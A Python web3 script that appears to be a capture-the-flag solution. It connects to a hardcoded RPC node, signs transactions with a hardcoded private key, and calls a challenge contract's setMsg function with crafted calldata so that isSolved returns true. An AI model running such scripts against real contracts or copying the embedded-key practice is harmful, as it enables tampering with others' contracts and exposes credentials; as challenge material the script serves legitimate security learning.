import solcx
from Crypto.Util.number import bytes_to_long
from solcx import compile_files
from web3 import Web3,HTTPProvider
from hexbytes import *
def generate_tx(chainID, to, data, value):
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(account_address),
'to': to,
'gasPrice': web3.eth.gasPrice ,
'gas': 3000000,
'nonce': web3.eth.getTransactionCount(Web3.toChecksumAddress(account_address)) ,
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = web3.eth.account.signTransaction(txn, private_key)
txn_hash = web3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = web3.eth.waitForTransactionReceipt(txn_hash)
return txn_receipt
web3=Web3(HTTPProvider("http://1.14.72.170:8545/"))
private_key = '2ce70ec7710618ff4a9b5ca404e065ad8a1abfdda06ce9b23efd0d67c3eac876'
acct = web3.eth.account.from_key(private_key)
chain_id = 45267
account_address = acct.address
print("[+] account_address is " + str(account_address))
print("[+] account_Balance is " + str(web3.eth.getBalance(account_address)))
target_address = "0x3Ec510A7D68E7fd3C97bbAd701F874c6E3Cfe7CB"
target_abi = '''[
{
"constant": true,
"inputs": [],
"name": "isSolved",
"outputs": [
{
"name": "",
"type": "bool"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "welcomeMessage",
"outputs": [
{
"name": "",
"type": "string"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": true,
"inputs": [],
"name": "year",
"outputs": [
{
"name": "",
"type": "uint16"
}
],
"payable": false,
"stateMutability": "view",
"type": "function"
},
{
"constant": false,
"inputs": [
{
"name": "_welcomeMessage",
"type": "string"
},
{
"name": "_newyear",
"type": "uint16"
}
],
"name": "setMsg",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [
{
"name": "_mssg",
"type": "string"
}
],
"payable": false,
"stateMutability": "nonpayable",
"type": "constructor"
}
]'''
target_instance = web3.eth.contract(address=target_address, abi=target_abi)
print(target_instance.all_functions())
functionSign = HexBytes(web3.sha3(text='setMsg(string,uint16)')).hex()[0:10]
setaccount_addr = generate_tx(chain_id, target_address, functionSign + "000000000000000000000000" + account_address[2:],0)
data= "0xfa65d298000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000007e3000000000000000000000000000000000000000000000000000000000000001357656c636f6d6520746f20564e43544632303200000000000000000000000000"
setaccount_addr = generate_tx(chain_id,target_address, data, 0)
sign_and_send(setaccount_addr)
print("[+] account_address is " + str(target_instance.functions.isSolved().call()))